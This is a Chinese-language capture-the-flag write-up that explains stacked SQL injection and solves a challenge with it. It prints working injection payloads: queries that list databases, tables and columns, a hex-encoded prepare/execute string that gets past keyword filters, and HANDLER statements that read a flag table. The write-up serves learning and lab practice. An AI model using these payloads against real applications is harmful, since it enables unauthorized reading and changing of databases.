Stacking Injection

前言

​ 今天刷题又碰到了一个堆叠注入的题目,由于之前接触过一点,看了下自己博客发现没有记录,所以刚好以这个题目为例子来记录下堆叠注入的学习!

原理分析

​ 对于sql注入来说,对于web狗来说应该是十分熟悉的名词了吧。

今天我们的主角就是sql注入大家庭的一员Stacking Injection(堆叠注入),对于经常使用的sql语句我想大家应该都有所了解,每一个sql语句的结尾都要用分号(;)来结尾,可以这么理解,正常情况下分号(;)就是一个sql语句的结束,举个例子 show tables; 可以看到结果

正常的得到了数据里的表名,但是如果在这一个sql语句后面再写一个sql语句我们能查得到我们想要的数据,或者能做到我们想做到的事情吗?就好比我们再这一个已经完成的sql语句后再加一个sql语句让他执行任意的语句 ,这两条语句就会同时执行,举个例子 show tables; show columns from flag;

看到我们的两个sql语句都得到了执行。

堆叠注入用处

新建和删除表

sql语句: show tables;create table ly0n like flag;

后面可以是任意正确的sql语句,都可以被执行,并得到想要的信息。

题目分析

拿到题目大眼看了一下,通过payload 猜测考点是sql注入

于是就开始了常规的操作,但是在联合查询的时候发现了过滤了很多的关键字

看来是姿势不对,之前看过一些关于堆叠注入的文章,就尝试了一下

构造

1
1'; show databases;#

得到回显,确认是堆叠注入,然后看能不能得到表名和字段名

构造

1
1'; show tables;#

得到了两个表名,查下字段

1
1'; show columns from words;#

1
1'; show columns from '1919810931114514';#

得不到返回值,很懵,在这蒙了很久

突然想到对数字表名进行操作时要加反引号`

1
1'; show columns from `1919810931114514`;#

看到了flag然后却读不出来,实在是很无奈,翻阅了大佬们的wp

大佬向我们展示了一手存储过程绕过

1
';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

成功得到flag!

另一种姿势

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

payload

1
2
3
4
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

文章写的不好,希望大师傅们轻点怼!